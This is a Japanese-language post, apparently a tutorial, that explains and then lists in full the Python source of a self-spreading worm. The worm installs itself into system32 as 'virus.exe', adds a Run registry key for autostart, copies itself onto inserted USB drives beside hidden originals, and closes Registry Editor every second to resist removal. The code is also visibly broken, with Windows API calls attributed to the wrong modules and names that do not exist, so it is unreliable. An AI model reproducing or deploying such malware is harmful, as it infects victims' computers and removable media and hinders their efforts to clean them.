コードの主な機能は、自身をシステムディレクトリにコピーし、レジストリに書き込んで起動時に実行されるようにすることです。また、定期的な操作を実行するためのタイマーも設定されています。このプログラムはまた、デバイスの接続 / 切断イベントを監視し、リムーバブルドライブが挿入された場合に自身をドライブにコピーします。
具体的には、コード内の kill_process 関数は、指定された名前のプロセスを終了するために使用されます。wnd_proc 関数は、ウィンドウメッセージを処理し、対応する操作を実行するウィンドウプロシージャ関数です。main 関数は、プログラムのメインロジックであり、ウィンドウクラスを登録し、ウィンドウを作成します。その後、ウィンドウメッセージを処理するループに入ります。
main 関数の最後では、まず自身を "virus.exe" という名前のファイルにシステムディレクトリにコピーします。次に、そのファイルのパスをレジストリに書き込み、システム起動時に自動実行されるようにします。最後に、1 秒ごとにタイマーメッセージがトリガーされるようにタイマーを設定します。
このコードの目的は、システム起動時に自動実行され、デバイスの接続 / 切断イベントを監視し、自身をリムーバブルドライブにコピーすることです。
冗長な話はやめて、直接コードに入りましょう
import os
import shutil
import winreg
import ctypes
import time
from ctypes import wintypes
from win32gui import FindWindow, SendMessage
from win32con import WM_CLOSE
from win32api import GetLogicalDriveStrings, GetDriveType, SetFileAttributes, CopyFile
from win32file import DRIVE_REMOVABLE
from win32process import CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, TerminateProcess, CloseHandle
from win32com.client import Dispatch
def kill_process(process_name):
snapshot = CreateToolhelp32Snapshot(0x00000002, 0)
pe = wintypes.PROCESSENTRY32()
pe.dwSize = ctypes.sizeof(wintypes.PROCESSENTRY32)
if Process32First(snapshot, ctypes.byref(pe)):
while True:
if pe.szExeFile.decode() == process_name:
handle = OpenProcess(0x0001, False, pe.th32ProcessID)
TerminateProcess(handle, -1)
CloseHandle(handle)
if not Process32Next(snapshot, ctypes.byref(pe)):
break
CloseHandle(snapshot)
def wnd_proc(hwnd, uMsg, wParam, lParam):
if uMsg == 0x0010: # WM_CLOSE
os._exit(0)
elif uMsg == 0x0219: # WM_DEVICECHANGE
if wParam == 0x8000: # DBT_DEVICEARRIVAL
drives = GetLogicalDriveStrings()
drives = drives.split('\x00')[:-1]
for drive in drives:
drive_type = GetDriveType(drive)
if drive_type == DRIVE_REMOVABLE:
files = os.listdir(drive)
for file in files:
if os.path.isfile(os.path.join(drive, file)):
file_path = os.path.join(drive, file)
shutil.copy2(__file__, file_path + '.exe')
SetFileAttributes(file_path, 0x2 + 0x4) # FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM
elif wParam == 0x8004: # DBT_DEVICEREMOVECOMPLETE
pass
elif uMsg == 0x0113: # WM_TIMER
hwnd_reg = FindWindow("RegEdit_RegEdit", "レジストリエディタ")
if hwnd_reg:
SendMessage(hwnd_reg, WM_CLOSE, None, None)
else:
return 0
return 1
def main():
wnd_class = winreg.WNDCLASS()
wnd_class.lpszClassName = "lieying"
wnd_class.lpfnWndProc = wnd_proc
wnd_class.hInstance = winreg.GetModuleHandle(None)
wnd_class.hIcon = winreg.LoadIcon(None, 32512)
wnd_class.hCursor = winreg.LoadCursor(None, 32512)
wnd_class.hbrBackground = winreg.GetStockObject(1)
wnd_class.style = 0x0002 | 0x0001 # CS_VREDRAW | CS_HREDRAW
wnd_class.cbClsExtra = 0
wnd_class.cbWndExtra = 0
if not winreg.RegisterClass(wnd_class):
return 0
hwnd = winreg.CreateWindowEx(
0, "lieying", "", 0x00000000, 0, 0, 0, 0, None, None, wnd_class.hInstance, None
)
winreg.ShowWindow(hwnd, 0)
winreg.UpdateWindow(hwnd)
msg = wintypes.MSG()
while winreg.GetMessage(ctypes.byref(msg), hwnd, 0, 0):
winreg.TranslateMessage(ctypes.byref(msg))
winreg.DispatchMessage(ctypes.byref(msg))
if __name__ == "__main__":
# 自身をシステムディレクトリにコピー
exe_full_path = os.path.abspath(__file__)
new_file_path = "C:\\WINDOWS\\system32\\virus.exe"
shutil.copy2(exe_full_path, new_file_path)
# レジストリに書き込んで開始時に実行
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "virus", 0, winreg.REG_SZ, new_file_path)
winreg.CloseKey(key)
# タイマーを設定
ctypes.windll.user32.SetTimer(None, 1, 1000, None)
# メインプログラムを実行
main()
まず、必要なモジュールやライブラリ(os、shutil、winreg、ctypes、time など)をインポートします。
次に、kill_process という関数を定義します。これは指定されたプロセス名のプロセスを終了するために Windows API を使用します。CreateToolhelp32Snapshot 関数を呼び出してプロセスのスナップショットを取得し、プロセスリストを走査して指定されたプロセスを見つけて終了します。
その後、wnd_proc というウィンドウプロシージャ関数を定義します。この関数はウィンドウメッセージを受け取り、メッセージの種類に応じて対応する操作を実行します。コードではいくつかのメッセージが処理されています:
0x0010 は WM_CLOSE メッセージを表し、このメッセージを受け取った場合、os._exit (0) を呼び出してプログラムを終了します。
0x0219 は WM_DEVICECHANGE メッセージを表し、このメッセージを受け取った場合、wParam の値に基づいてデバイスの挿入または削除イベントを判断します。デバイスの挿入イベントの場合、すべての論理ドライブのリストを取得し、各ドライブを走査します。ドライブのタイプがリムーバブルドライブである場合、ドライブ上のファイルを走査し、自身をファイルが存在するドライブにコピーします。また、コピーしたファイルの属性を非表示とシステムファイルに設定します。デバイスの削除イベントの場合、何も操作しません。
0x0113 は WM_TIMER メッセージを表し、このメッセージを受け取った場合、"レジストリエディタ" という名前のウィンドウを検索し、見つかった場合は WM_CLOSE メッセージを送信してウィンドウを閉じます。
その他のメッセージの場合、0 を返します。
次に、main というメイン関数を定義します。この関数では、まずウィンドウクラスを登録し、クラスの名前、ウィンドウプロシージャ関数、インスタンスハンドル、アイコン、カーソル、背景などのプロパティを設定します。ウィンドウクラスの登録に失敗した場合は 0 を返します。
その後、ウィンドウを作成し、非表示にします。その後、メッセージループに入り、GetMessage 関数を呼び出してウィンドウメッセージを取得し、メッセージを処理します。
main 関数の最後では、いくつかの初期化操作を行います。まず、現在のスクリプトファイルをシステムディレクトリに "virus.exe" という名前のファイルにコピーします。shutil.copy2 関数を使用してこれを実現します。次に、そのファイルのパスをレジストリに書き込み、システム起動時に自動実行されるようにします。最後に、ctypes.windll.user32.SetTimer 関数を使用して、1 秒ごとにタイマーメッセージがトリガーされるようにタイマーを設定します。
最後に、if name == "main": の条件の下で、main 関数を呼び出してプログラムを実行します。